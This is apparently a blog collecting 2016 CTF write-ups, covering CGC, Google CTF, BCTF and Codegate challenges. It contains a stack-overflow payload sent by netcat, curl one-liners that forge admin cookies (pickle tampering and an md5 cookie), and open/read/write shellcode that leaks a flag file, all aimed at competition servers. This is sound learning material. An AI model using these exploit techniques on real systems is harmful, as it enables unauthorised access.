This looks like some custom format, and clang-cgc seems pretty obvious. It's also worth noting there wasn't much data out of this, it's a somewhat small amount for a binary.

Loading this binary in radare2 we can see it's information:

[0x080486b7]> if
type     EXEC (Executable file)
file     easy-prasky-with-buffalo-on-bing
fd       3
size     0x948
blksz    0x0
mode     -r--
block    0x100
format   cgc
pic      false
canary   false
nx       false
crypto   false
va       true
bintype  elf
class    ELF32
lang     c
arch     x86
bits     32
machine  Intel 80386
os       linux
minopsz  1
maxopsz  16
pcalign  0
subsys   linux
endian   little
stripped true
static   true
linenum  false
lsyms    false
relocs   false
rpath    NONE
binsz    2173


Noticing the format as cgc (also seen from the strings output) it's safe to assume this is probably a CGC binary. This is acting as a preview for the other challenges in the "See Gee Sea" category to be unlocked later in the game.

format   cgc


This was unfortunately, the first time I had looked at any of the CGC challenge details in any depth. (If you're new to the idea of Cyber Grand Challenge at all, check out - http://www.cybergrandchallenge.com/)

Remembering that the challenges run in a VM, I quickly searched for any available open-source material that may be out there. Quickly landed on this page - http://repo.cybergrandchallenge.com/boxes/

Which shows a listing of 3 major files:

  cgc-linux-dev.box 1097696df99f2f6edd85974c3d8d96afb13444c1c3905d6165badf0e50d07ad1
  vm.json d79a4d8e28975b24a518c2acb12195e048c0806ed7a08112f3d48eac0dac80e3
  Vagrantfile ff0f8b4a3996a137d2a6eb7088a632928068425b9c4502f6c754c3f079672d00



This is Great! A Vagrant file to get up and running in no time!

After running vagrant up && vagrant ssh, we were into the cgc environment, loaded with useful binaries and example files to play with.
As the challenge went on, I grew an appreciation for the amount of work that went into this infrastructure. It's a great idea with some solid engineering work poured into it.

Now that we have things setup, let's try executing that binary in this environment to see what happens...
$ ./easy-prasky-with-buffalo-on-bing
anything
canary ok$ 


So we have a little print out that mentions the canary is ok... So it has a stack cookie setup.
What happens if we give it a ton of input:

$ ./easy-prasky-with-buffalo-on-bing
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault


Well that was easy!

Also let's look at what happens when there's a moderate amount of input:

$ ./easy-prasky-with-buffalo-on-bing
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
hacking detected, see ya$


Nice, so we now have Three states of output we can produce.


At this point we decided to pull apart the binary in radare2 finding the canary value which needs to be restored.


 


First noticed that the entry point of each CGC binary has the same structure. Three functions, where the second was the meat of operations performed.

As usual in r2, run aaa and iz to view any obvious strings in the binary:




Seeking to 0x0804880a we hit X in visual mode to see X-Refs & 0 to seek to the first match.


This lead us to the "main" function which called another function for the canary check and exits with "hacking detected" or "canary ok"




We can see ecx being loaded with this odd string found, and edx being loaded with the immediate 4. Also notice that the result of this function determines the type of exit.




Going to 0x080482e0 we see:


In the next graph we see a loop which checks if local_5 is greater than 4 (jge instruction at the top). Then we see on the false path of the jge check, a single byte being checked from the stack against the original canary value.




With this we decided to just try the first four characters of that string acting as the canary.
We ended up with a payload that looked like this:

$ python -c "print 'lddw'*6 + 'AAAA'*6" | ./easy-prasky-with-buffalo-on-bing
canary okSegmentation fault


So this gave us a nice mix of "canary ok" with "Segmentation fault" -- it worked!

Piping this to base64 (required by the remote server) and to netcat ended up dropping the flag!

$ python -c "print 'lddw'*6 + 'AAAA'*6" | base64 | nc easy-prasky_335e35448b30ce7697fbb036cce45e34.quals.shallweplayaga.me 10001


We definitely over-thought this one at first, but it turned out to be very simple.
Big shout-out to @unixist who was my partner-in-crime for this challenge.


Tuesday, May 3, 2016

Google CTF 2016 - Various [No Big Deal Pt. 1, In Recorded Conversation, Spotted Quoll, Ernst Echidna]



So I grouped these all together for two main reasons:
  1. I was inspired seeing this short writeup for GeoKitties - https://twitter.com/k_firsov/status/726841516174508033
  2. Write-ups can take some time, so this is a good way of shortening a few challenges into one post.

Quick note about the writeups below:
  • Each of the examples below are one-liner solutions (they may not be the best one-liners because they can be longcat-long, but were fun to make)
  • Each example below has a one-line output including the CTF{...} flag


No Big Deal Pt. 1 (50):

This one was probably one of the easiest challenges (even easier than the 5pt recon) that I came across, strings'ing the pcap gave an obvious base64 encoded value at the end of the dump, which turned into the flag, here's the one-liner:

strings -n 9 no-big-deal.pcap | tail -n 1 | base64 -D

Result:

CTF{betterfs.than.yours}



In Recorded Conversation (25):

The name of this challenge invoked the idea that there was going to be a hidden conversation to find a flag in.  That was exactly it in a pcap!  For this one I didn't open wireshark and decided to jump into more tshark.  This is not my actual solution for the challenge when I was playing (it was a lot more manual), but the same thing would've worked... Usually there's no time to do silly things like tr, sed & multi-massaged-list-comprehensions to get an answer when you're on the CTF clock.

tshark -r irc.pcap -T fields -e data 2>/dev/null | python -c "import sys; a=sys.stdin.read().split('\n'); a=[x.decode('hex') for x in a]; a=[x for x in a if 'PRIVMSG' in x and '~' not in x]; print a" | tr ',' '\n' | grep #ctf | tail -n 8 | head -n 7 | sed 's/.*://g;s/\\.*//g' | tr '\n' ' ' | sed 's/ //g'

Result:

CTF{some_leaks_are_good_leaks_}



Spotted Quoll (50):

This challenge was mainly solved by a team-mate (Unixist), but I helped out a bit with some minor details.  Also formed it into this massive one-liner:

curl -L https://spotted-quoll.ctfcompetition.com/admin --cookie obsoletePickle=$(python -c 'import pickle; x = pickle.loads("KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu".decode("base64")); x["user"] = "admin"; print pickle.dumps(x).encode("base64").replace("\n", "")') 2>/dev/null | grep -i ctf

The challenge consisted of identifying that the cookie was in a python pickle format, dumping the current cookie (base64 encoded) and then noticing the user was set to None, changing it to admin and re-encoding it / sending it off.


Result:

Your flag is CTF{but_wait,theres_more.if_you_call} ... but is there more(1)? or less(1)?



Ernst Echidna (50):

This challenge was also a very simple web challenge, consisting of a cookie that was set to the md5 value of your username.  The goal was to view the admin section, so a little echo -n admin | md5sum, and we've got our cookie.


curl https://ernst-echidna.ctfcompetition.com/admin --cookie md5-hash=$(echo -n admin | md5) 2>/dev/null | grep -i ctf

Result:

      Congratulations, your token is 'CTF{renaming-a-bunch-of-levels-sure-is-annoying}



These were all simple, but very fun! Had a good time forming the (mostly) one-liners above today.  Let me know if you have any more efficient examples of these in the comments!



Sunday, May 1, 2016

Google CTF 2016 - A Cute Stegosaurus (100)



Description for this challenge was:

Admire our cutest Stegosaurus ever!


They give you a pcap file called stego.pcap, sooooo let's fire up Wireshark and see if a shark can find a dinosaur.


Initially saw a /message.png route being hit, so I decided to see if I could extract that out of the pcap.


In Wireshark, this is really simple, just follow the TCP stream / File > Export Objects > HTTP, and you'll see it pop up with the file seen in the traffic.




Save and open the file and we get:



YESSSSSSs! A Fr'cken Stegosaurus!!!!

Something about this pun in this makes me tear up a bit....
(Also Pro-Tip for trolling stego solvers in the future, add some random artifacts into the image like they mean something, after staring at that dino leg on the right with the seam, I almost thought it could be hidden there... Not sure if it was the caffeine or sleep-deprivation, either way it'll work on someone)


Anyways, down to business.

Running this image through the standard stego tools & photo editing tools got nothing.  Tried a quick sweep through the threshold, bitplanes, alpha, stereograph, etc.  Nothing too interesting was in the exif data either.


So after taking a break on this one and coming back I looked in the packets again to see if anything else was there for carving.

Started to look for any patterns in any part of the packets (being only 2k of them & fairly regular).
Then I stumbled upon this little gem:



What... is this Urgent pointer thing all about ?  Why so Urgent ?

This must be the Nova Microdash of TCP packets.....


So let's see if we can find out what's so urgent.


After going through a few, it looks like they may actually be in the printable character range.  This one was 70, let's convert that, write it down and go to the next one.  The next was 123, these two combined make the characters 'F{' ... going backwards we'll also see 67 & 84 as 'CT'... All of this together is 'CTF{' -- Looks like we're on the right track.


Now I could've probably done this by hand, but I didn't want to, felt a little lazy and also thought it was a good time to explore tshark more.  So in a new terminal I went ahead and executed this command (kinda luckily guessed this one, I'm not very experienced with tshark):

> tshark -r stego.pcap -T fields -e tcp.urgent_pointer

0
0
0
0
0
0
67
0
84
0
70
0
123
0
65
0
110
0
100
0
...


(Cut the output down for brevity) -- The problem with this output is there are all these 0 bytes that are sneaking in to our nice characters we want to extract. We could just grep these out to make life easier:

> tshark -r stego.pcap -T fields -e tcp.urgent_pointer | egrep -vi "^0$"

67
84
70
123
65
110
100
...


There's probably a really cool hacky way to turn these all to chars on the command-line (leave a comment if you know one), but I just threw it in a python script, did some normal vim/sed magic for converting it to a list, and printed out the result:

arr = [
        67,
        84,
        70,
        123,
        65,
        110,
        100,
        95,
        89,
        111,
        117,
        95,
        84,
        104,
        111,
        117,
        103,
        104,
        116,
        95,
        73,
        116,
        95,
        87,
        97,
        115,
        95,
        73,
        110,
        95,
        84,
        104,
        101,
        95,
        80,
        105,
        99,
        116,
        117,
        114,
        101,
        125,
]

print "".join([chr(x) for x in arr])


After running this we get the answer:

CTF{And_You_Thought_It_Was_In_The_Picture}

Learned a lot in this challenge including urgent flags, how evil a stego creator can get (including imagined scenarios that could've been worse), and how to spell Stegosaurus.


Google CTF 2016 - Magic Codes (250)



Google's opened up their first CTF out there this year and it was a very fun one!
This particular challenge was Stego, found in the Forensics category.
In the description it gave you "Can you recover the magic code?" with a link to an image:






Initial thoughts are... Okay, we have this image that's very retro with a DVD, a Satelite, a QR code & something that looks like a frequency visualization of some sort...

What could this possibly be, maybe QR Code mixed with the result of the frequency visualization turned into audio ? (I may be this sinister if I ever start designing challenges)

I first tried the QR code, and it seemed to be some trolling or self-advertising (or both), that linked to the CTF page. (https://capturetheflag.withgoogle.com/)




This wasn't it so I moved on to my usual routine with stego images.
Fired up StegSolve and looked at the bit planes of the image.

For anyone interested in the full process, I've included a step-by-step instruction below, you can find the link to the StegSolve on this list - https://github.com/apsdehal/awesome-ctf#stegano



First open up the StegSolve program:


You should see StegSolve pop up:


 Now open the file you would like to analyze:


You'll see the image, and at the bottom there is a left and right arrow used to cycle through common image manipulation operations that could help with identifying hidden data:


Ended up stopping at Alpha Plane 0, this seemed like a very clear chunk of data hidden in the lowest alpha plane:


Go ahead and save the image somewhere, I saved it using the default name (solved.bmp):



Now was the tricky part... what do we do with this data?

I started by reading the bits in with python, unfortunately nothing too useful looking came out of that..

Looking at the image I reconsidered the possibility of the visual frequency image being part of the challenge, but didn't know how.  Eventually googled all the items on the image together to see if they had any relationship.  I searched for:  "dvd satellite qr code" - http://lmgtfy.com/?q=dvd+satellite+qr+code

And one of the first results was a page on Reed-Solomon error correction codes.  It mentioned on that page, that all of these mediums shown in the image used Reed-Solomon error correction.... that couldn't just be a coincidence.


So looking around for a python library to handle this I found one quickly on PyPi - https://pypi.python.org/pypi/reedsolo


Started to write a few examples up pulling in the alpha image that was extracted, but found nothing.  I wasn't really sure which Codec to use at first.  Even started writing a brute-forcer to check each Codec available up to 100.


After a while (giving up and looking at other challenges) -- I saw an update on the Magic Code challenge, mentioning the metadata was updated.  Running exiftool again now gave this interesting result:

» exiftool MagicCode.png
ExifTool Version Number         : 10.08
File Name                       : MagicCode.png
Directory                       : .
File Size                       : 187 kB
File Modification Date/Time     : 2016:05:01 11:22:52-07:00
File Access Date/Time           : 2016:05:01 11:31:48-07:00
File Inode Change Date/Time     : 2016:05:01 11:22:52-07:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 320
Image Height                    : 320
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Comment                         : (40,8) bytes
Image Size                      : 320x320
Megapixels                      : 0.102


Interesting! There was now a new Comment!  This also looks like it may be the Codec I was looking for, but why were there two values?  Had to look more into how reed solomon correction codes worked....


Comment                         : (40,8) bytes


I immediately noticed 40 * 8 = 320 (size of the image width/height) -- so it must have to do with how the image was formed, and maybe the developer went with that for convenience.


Also started looking at the constructor for this python reedsolo lib, because it showed only one value being passed into the codec constructor in the examples.
The constructor can be found here - https://github.com/tomerfiliba/reedsolomon/blob/master/reedsolo.py#L746


    def __init__(self, nsym=10, nsize=255, fcr=0, prim=0x11d, generator=2, c_exp=8):
        '''Initialize the Reed-Solomon codec. Note that different parameters change the internal values (the ecc symbols, look-up table values, etc) but not the output result (whether your message can be repaired or not, there is no influence of the parameters).'''
        self.nsym = nsym # number of ecc symbols (ie, the repairing rate will be r=(nsym/2)/nsize, so for example if you have nsym=5 and nsize=10, you have a rate r=0.25, so you can correct up to 0.25% errors (or exactly 2 symbols out of 10), and 0.5% erasures (5 symbols out of 10).
        self.nsize = nsize # maximum length of one chunk (ie, message + ecc symbols after encoding, for the message alone it's nsize-nsym)
        self.fcr = fcr # first consecutive root, can be any value between 0 and (2**c_exp)-1
        self.prim = prim # prime irreducible polynomial, use find_prime_polys() to find a prime poly
        self.generator = generator # generator integer, must be prime
        self.c_exp = c_exp # exponent of the field's characteristic. This both defines the maximum value per symbol and the maximum length of one chunk. By default it's GF(2^8), do not change if you're not sure what it means.


So it looks like the first argument they show in the examples is nsym...
In the comment they're showing two values (40, 8) -- in conventional reed solomon this will be (nsize, ndata) but in this library they're using (nsym, nsize).  The nysm value is just (nsize-ndata).  More information can be found on that here - http://iris.elf.stuba.sk/JEEEC/data/pdf/11-12_103-05.pdf

So now we know the second argument (nsize) is 40, and the first argument is (nsize-ndata) or 32.
The codec portion of this took me the longest to figure out, but with all of that in place, we have the final decoder! (I had noticed this when anything came out of the decoder that wasn't \x00 or an empty string...)


#!/usr/bin/env python
import sys
import reedsolo
from PIL import Image

if (len(sys.argv) > 1):
  IMG_FILE = sys.argv[1]
else:
  print "Usage: $ readImg "
  exit(1)

img = Image.open(IMG_FILE).convert('1')
data = img.getdata()
pixels = img.load()

bits = []

for x in range(img.size[0]):
  for y in range(img.size[1]):
    pixel = pixels[y,x]
    if pixel == 0:
      bits.append("0")
    else:
      bits.append("1")

b = "".join([str(x) for x in bits])
bytes = bytearray(int(b[x:x+8], 2) for x in range(0, len(b), 8)).rstrip("\xff")

rs = reedsolo.RSCodec(32, 40)
print repr(rs.decode(bytes))

f = open("SomeBytez", "w")
f.write(rs.decode(bytes))
f.close()



This dropped a gzip file from the looks of it using file:

» file SomeBytez
SomeBytez: gzip compressed data, last modified: Wed Apr 27 14:43:24 2016, max compression


We have to move it to a .gz file to uncompress it as gunzip requires this.

» mv SomeBytez someBytez.gz
» gunzip someBytez.gz
» file someBytez
someBytez: ASCII text, with no line terminators
» cat someBytez
Congratulations, Voyager!  Your flag is: CTF{who_knew_math_helped_with_anything_but_crypto}%


We've got the Flag!!! Never thought this one was going to work, but it did!
Learned a lot about erasure codes during this process! Good Ol' Information Theory :D

CTF{who_knew_math_helped_with_anything_but_crypto}


Monday, March 21, 2016

BCTF 2016 - catvideo (150)


This was one of the only challenges I attempted on BCTF, but the focus paid off.  It was an interesting challenge that taught me about the nuances of the ffmpeg tool.


At first we were given a video which had frames looking like this (two consecutive frames extracted from the video):





When watching the video you would see a sort of ghosting effect where your eye would pick up the diffing pixels providing a sense of motion.  Otherwise any individual frame does not explain much about the final image by itself.


Initially I started to look into different ways of blending video frames using ffmpeg.  I spent a lot of time on this page - https://ffmpeg.org/ffmpeg-filters.html

Specifically looking at the "tblend" filters (blends two consecutive frames using a specific filter-type) - https://ffmpeg.org/ffmpeg-filters.html#blend_002c-tblend
Playing around with different ones provided many results that didn't help, and a couple that did.

The primary solution to the "first half" of this challenge was to use an exclusion filter (At first I was thinking diff, but exclusion worked fine).




This showed a rough outline of the cat in the video, enough to be confident to find some other objects within.

After viewing an export of all frames as another mp4, I noticed exactly 1 minute in there was a small flash on the bottom of the screen.  This was rectangular in shape, and based on other Stego challenges in the past, this was probably where the flag was.  So after a bit of start & stop, with ffmpeg and exporting blended frames, I found what looked like the flag!




So far what I could make out in the exclusion-filtered image was:

BCTF{cute&fat_cats_does_not_like_   nking}


So close! But not there yet...  What were those 3 characters missing from the image?
I fired up Gimp and tried to blend the flag's frames with the surrounding ones to see if that would help fill in the gaps.

Going through Gimp's layer filters actually turned out to be a lot nicer than ffmpeg's tblend method.
Finally landed on using Hard Mix with an Overlay which gave this result:




This provided enough to make out the real flag:


BCTF{cute&fat_cats_does_not_like_drinking}



Wednesday, March 16, 2016

Codegate CTF 2016 - cemu (512)


Codegate was a very fun CTF this year, ended up focusing on two challenges, JS_is_not_a_jail (which I will write about more later) and cemu, which were both in the miscellaneous category.

(Some of the output may be different as the servers aren't still up)

Starting out we're given a short description and a server to connect to, no binaries this time.

Welcome to MATRIX
nc 175.119.158.136 31337

After connecting to the server we receive this output.

Welcome to CEmu World
Your goal is set the register below
EAX = 0x91b88cf
EBX = 0x2899361f
ECX = 0xb623a9
EDX = 0x4b32ad6e
ESP = 0xb82dbcc5
EBP = 0x9c09ff74
ESI = 0xfcdd6946
EDI = 0xbc698a76
input Opcode

So first off, we know we're on a 32 bit system and we have to set some registers to the values listed in the initial output.

The first instruction I tried was a nop '90' which showed the instruction pointer incrementing (from 0x1000 to 0x1001) and all other registers set to zero.  This was a very simple start, but it told us about the type of input (hex bytes with no '0x' prefix), and the starting location of this emulator.

Next up was to write some python code to connect with the server, pull the requested register sets and send back some Opcodes which would set each one.


Stage 1


Starting out I used pwntools for this which wraps a lot of useful python functionality and provides many useful utilities.  More can be found here - https://github.com/Gallopsled/pwntools

Here's what the initial effort for Stage 1 looked like:

#!/usr/bin/env python
import commands
from pwn import *

HOST = "175.119.158.136"
#HOST = "175.119.158.132"
PORT = 31337

c = remote(HOST, PORT)

def main():
  # Stage 1:
  # ========
  PAYLOAD = ""
  REGISTERS = { }

  print c.recvuntil("EAX = ")
  REGISTERS["EAX"] = c.recvline().strip()
  print c.recvuntil("EBX = ")
  REGISTERS["EBX"] = c.recvline().strip()
  print c.recvuntil("ECX = ")
  REGISTERS["ECX"] = c.recvline().strip()
  print c.recvuntil("EDX = ")
  REGISTERS["EDX"] = c.recvline().strip()
  print c.recvuntil("ESP = ")
  REGISTERS["ESP"] = c.recvline().strip()
  print c.recvuntil("EBP = ")
  REGISTERS["EBP"] = c.recvline().strip()
  print c.recvuntil("ESI = ")
  REGISTERS["ESI"] = c.recvline().strip()
  print c.recvuntil("EDI = ")
  REGISTERS["EDI"] = c.recvline().strip()

  print REGISTERS
  for k, v ∈ REGISTERS.iteritems():
      CMD = "rasm2 -a x86 'mov {}, {}'".format(k, v)
      PAYLOAD += commands.getoutput(CMD)

  # Input:
  print c.recvuntil("Opcode")

  # Send Input:
  c.sendline(PAYLOAD)

  # Result:
  print c.recvuntil("EIP = ")
  print c.recvline()
  print c.recvline()

This code could probably be cleaned up a lot, but the gist of it is that we're taking each register value, storing it in a dictionary of { 'register' : 'target_value' } and feeding it to the rasm command to generate some Opcodes with the correct mov instructions for each register.

There may be a better way to subproc the 'rasm2' command, doing it pythonically, but haven't found that yet.  Maybe for the next challenge!

After running this code, we get the following output:


Stage1 Clear!

Welcome to CEmu World - stage2
Your goal is set the register below


Expression: eax + ebp + esp - edx * edi - ebx + esi - ecx = 3113570244
input Opcode


Stage 2


So on this one it looks like we just have to parse the expression and set the registers to the correct values to provide the result.  Also, running this multiple times we find the Expression changes each time.

To solve this I took the easy route by setting eax to the final value, and the other registers to values that would not affect eax.

For this stage I start by splitting up the expression by space and stripping any newline characters off the end.  Then set eax to the desired result, and added the remaining registers set to values that would work.


Below is the final code for this stage:

def getIdent(t):
  if t ≡ '+' ∨ t ≡ '-':
    return '0'
  else:
    return '1'

def getPayloadExpr(instr, val):
  cmd = "rasm2 -a x86 'mov {}, {}'".format(instr, getIdent(val))
  return commands.getoutput(cmd)

def stage2():
  print c.recvuntil("below")
  print c.recvline()

  EXPR = c.recvline().strip().split()
  print "Expression: {}".format(repr(EXPR))

  PAYLOAD = ""
  EAX = "rasm2 -a x86 'mov {}, {}'".format("EAX", EXPR[-1])
  PAYLOAD += commands.getoutput(EAX)

  # Samples:
  # eax - ebp - esp - edx + edi + ebx * esi - ecx  = 1992741006
  # eax * ebp * esp + edx * edi * ebx * esi - ecx  = 4235741836
  # eax + ebp * esp + edx * edi - ebx * esi * ecx  = 3774945113
  # eax + ebp * esp + edx - edi * ebx * esi + ecx  = 3226531046

  # Transform:
  # eax + ebp * esp + edx - edi * ebx * esi + ecx  = 3226531046
  # 3226531046 + 0 * 1 + 0 - 0 * 1 * 1 + 0 = 3226531046

  PAYLOAD += getPayloadExpr(EXPR[2], EXPR[2 - 1])
  PAYLOAD += getPayloadExpr(EXPR[4], EXPR[4 - 1])
  PAYLOAD += getPayloadExpr(EXPR[8], EXPR[8 - 1])
  PAYLOAD += getPayloadExpr(EXPR[10], EXPR[10 - 1])
  PAYLOAD += getPayloadExpr(EXPR[12], EXPR[12 - 1])
  PAYLOAD += getPayloadExpr(EXPR[14], EXPR[14 - 1])

  c.sendline(PAYLOAD)

  print c.recvuntil("EIP = ")
  print c.recvline()
  print c.recvline()

Sending this to the server we get:

Stage2 Clear!

Welcome to CEmu World - stage3
Your goal is find secret value in memory!
input Opcode


Nice! Now we get a message which doesn't mean much, we just have to find some value in memory I guess...


Stage 3


Starting out I guessed a few values exploring memory, but also thought it couldn't be that easy.

So what I was thinking was, it's probably a string (such as a flag), and there must be an easy way to loop through each byte in memory until it's a non-zero value.

An important part I figured out while exploring manually was that eax had to be set to the memory address that was the start of the string in memory.

I asked a team-mate Matir about any asm instructions that could do this while posting some rough pseudocode of how I was about to approach it, and he mentioned repe.

After digging into the intel x86 manual a bit I found REPE/REPZ: "Repeat while equal/Repeat while zero".

After looking at this and Matir providing a bit of sample asm to demonstrate how it could be done, I jumped into the asm and tried a few things out.

The initial payloads did not work, but they were slowly improved over time.
These were the final instructions which helped find the string in memory:

mov edi, 0x1010
mov ecx, 0xffffffff
repe scasb al, byte es:[edi]
mov eax, edi

For whatever reason repe scasb did not disassemble properly in rasm2, but thankfully an x86 manual online provided the opcodes for this instruction (f3ae).

Used a hacky one-liner to generate the final payload using rasm2 and the known REPE Opcodes:

rasm2 "mov edi, 0x1010; mov ecx, 0xffffffff" | xargs echo -n && echo -n f3ae && rasm2 "mov eax, edi"

bf10100000b9fffffffff3ae89f8


Sending this to the server we get:

Welcome to CEmu World - stage3
Your goal is find secret value in memory!
input Opcode
Sending ReadMem: bf10100000b9fffffffff3ae89f8

CEmu Emulation Complete!
EAX = 0x6be0f
EBX = 0x0
ECX = 0xfff95200
EDX = 0x0
ESP = 0x0
EBP = 0x0
ESI = 0x0
EDI = 0x6be0f
EIP =
 0x100e

memory read(0x6be0f) : ecret value is {3gg_Hunt3r!}\x00\x00\x00\x00

Stage3 Clear!


At this point I thought I got it.  With something in curly braces with some jumbled characters it looks like a flag, until I looked a little further and saw:

Welcome to CEmu World - stage4
Your goal is control eip yeah!

Okay great, now we have to control eip...  Sounds like fun!



Stage 4


This next stage took me the longest, mostly because I didn't know what the end goal was at first.

The notes of this little adventure would probably take up another 2-3 blog posts, but I had tried hlt, ret, iret, several syscalls etc, until I got that they wanted the program to stay on that value.

After going through 40 or so instructions before landing on the right one, it turned out to be a single instruction loop which solved it!

It looked something like this:

mov eax, target_address
mov dword ptr[eax], {jmp eax}
jmp eax


And the final stage 4 code in python:

def stage4():
  print c.recvuntil("yeah!")
  print c.recvline()
  eip_target = c.recvline()
  print eip_target
  eip_target = eip_target.split(" ")[-1].strip()
  print eip_target
  print "Current EIP Target: {}".format(eip_target)
  print c.recvuntil("code")

  # [ A: store target in eaxx ] [ B: set target to jump to self (eax) ] [ C: jmp to target ]
  cmd = "mov eax, {}; mov dword ptr[eax], 0xe0ff; jmp eax".format(eip_target)
  result = commands.getoutput("rasm2 '{}'".format(cmd))
  print result

  c.sendline(result)
  print c.recvuntil("EIP = ")


Sending this along gives us:

CEmu Emulation Complete!
EAX = 0xbc040
EBX = 0x0
ECX = 0x0
EDX = 0x0
ESP = 0x2000
EBP = 0x0
ESI = 0x0
EDI = 0x0
EIP =
0xbc040
Stage4 Clear!
Welcome to CEmu World - stage5(final)
Your goal is read flag file! good luck!
input Opcode


Finally at the final stage!!! We're nearly at the finish line, and this one doesn't sound too bad at all.
Anyone who has written shellcode knows this is one of the first things you write when working on exploits, a simple read the flag sort of payload.

I grabbed this from previous lessons I did on RPISEC's MBE course, found here - https://github.com/RPISEC/MBE

This consisted of an open, read & write. Each one needed some arguments setup, and the filename of the flag (which was easily guessed as 'flag' in the current directory).

This was the final stage's payload:

def stage5():
  # ./flag = push 0x67616c66
  openFile = """
    xor eax, eax;
    push eax;
    push 0x67616c66;
    xor eax, eax;
    mov al, 5;
    mov ebx, esp;
    xor ecx, ecx;
    int 0x80;"""

  readFile = """
    mov ebx, eax;
    xor eax, eax;
    mov al, 3;
    mov ecx, esp;
    xor edx, edx;
    mov dl, 64;
    int 0x80;"""

  writeOutput = """
    mov edx, eax;
    xor eax, eax;
    xor ebx, ebx;
    mov al, 4;
    mov bl, 1;
    mov ecx, esp;
    int 0x80;"""

  openFileExec = commands.getoutput("rasm2 '{}'".format(openFile))
  readFileExec = commands.getoutput("rasm2 '{}'".format(readFile))
  writeOutputExec = commands.getoutput("rasm2 '{}'".format(writeOutput))
  opcodes = openFileExec + readFileExec + writeOutputExec

  print c.recvuntil("code")
  c.sendline(opcodes)

  print c.recvuntil("Stage5 Clear!")

And the result of running this payload:

Welcome to CEmu World - stage5(final)
Your goal is read flag file! good luck!
input Opcode

flag is {CPU_Emulati0n_1s_sO_fun~:D}
thanks unicorn project!
call sys_open at 0x1011
>>> open file (filename=flag flags=0 mode=0) with fd(5)
call sys_read at 0x1021
>>> read 64 bytes from fd(5)
call sys_write at 0x1031
CEmu Emulation Complete!
EAX = 0x4
EBX = 0x1
ECX = 0x1ff8
EDX = 0x3
ESP = 0x1ff8
EBP = 0x0
ESI = 0x0
EDI = 0x0
EIP = 0x1033
Stage5 Clear!


Aand we've got the Flag!

{CPU_Emulati0n_1s_sO_fun~:D}


This was one of my favorite challenges in the past year of CTF.
It had enough difficulty to keep you thinking, but enough momentum to keep going. It also really felt like a puzzle that kept unfolding.

Here's the final code that was used to solve this challenge (cleaned up a little) - https://gist.github.com/vitapluvia/8901c95523f23a492168

Can't wait for next year's Codegate!